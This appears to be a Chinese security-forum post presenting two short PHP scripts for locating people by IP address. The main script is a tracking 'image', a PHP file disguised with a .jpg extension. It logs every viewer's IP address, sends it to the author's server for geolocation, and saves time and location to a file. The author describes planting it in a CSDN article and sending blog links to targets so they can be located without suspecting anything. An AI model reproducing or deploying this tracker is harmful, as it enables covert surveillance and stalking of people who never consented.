<?php header('Content-Type:text/html;charset=utf-8'); function get_addr($_ip) { $_ip=array("X-Forwarded-For:{$_ip}"); //初始化curl模塊 $curl = curl_init(); //需要獲取的URL地址,也可以在 curl_init() 函數中設置。 curl_setopt($curl, CURLOPT_URL, 'http://ip.zishuo.net/'); //在啟用 CURLOPT_RETURNTRANSFER 的時候,返回原生的(Raw)輸出。 curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); //設置"User-Agent: "頭 curl_setopt($curl, CURLOPT_USERAGENT , 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36'); curl_setopt($curl, CURLOPT_HTTPHEADER, $_ip); //執行cURL curl_exec($curl); //關閉cURL資源,並且釋放系統資源 $retn=curl_exec($curl); curl_close($curl); return json_decode($retn); } $_addr=get_addr($_GET['ip']); if ($_addr->code=='200') { echo $_addr->desc.'->'.$_addr->position; }elseif($_addr->code=='404'){ echo $_addr->message; }else{ echo '異常!'; } ?>
本來到這兒也就沒什么事情了,需要的時候查一下就可以,可是我又想到了一個好玩兒都方法,畢竟自己獲取IP
還是不方便,想到前段時間在REEBUF
看到的一篇文章-
“如何通過一張照片來獲取ip
地址?”,地址是
http://www.freebuf.com/articles/database/101233.html
,我也可以通過這樣的方法來自動傳入IP
地址嘛,這樣的話別人一瀏覽圖片我就能獲取到地址了,說干就干,繼續寫代碼。
PHP代碼:
<?php header('Content-Type:text/html;charset=utf-8'); $_ip=$_SERVER['REMOTE_ADDR']; $_ip_addr=file_get_contents('http://x.x.x.x/get_ip.php?ip='.$_ip); $fh = fopen('ip.txt', 'a'); fwrite($fh, 'IP:'.$_ip.' Time:'.date("Y-m-d H:i",time()+28800).' Address:'.$_ip_addr."\r\n"); fclose($fh); $im = imagecreatefromjpeg("n00b.png"); header('Content-Type: image/jpeg'); imagejpeg($im); imagedestroy($im); ?>
后綴改成jpg
,然后在服務器上一通折騰,功能實現了。最后就是把這個圖片插入到一個安全的站點上面,我想到了CSDN
,就像這樣
<ignore_js_op>

然后發表文章,只有有人訪問這篇文章,就會出現這一幕(當然要是什么時候這個網站不返回實際地址那也就失效咯)
<ignore_js_op>

現在想要知道某個人都地址好像很簡單了誒,發給他一個博客鏈接他也不會懷疑什么吧….
其實這個小功能完全沒有什么亮點,都是站在各位前輩都肩膀上添了點磚瓦而已。
https://forum.90sec.org/forum.php?mod=viewthread&tid=9438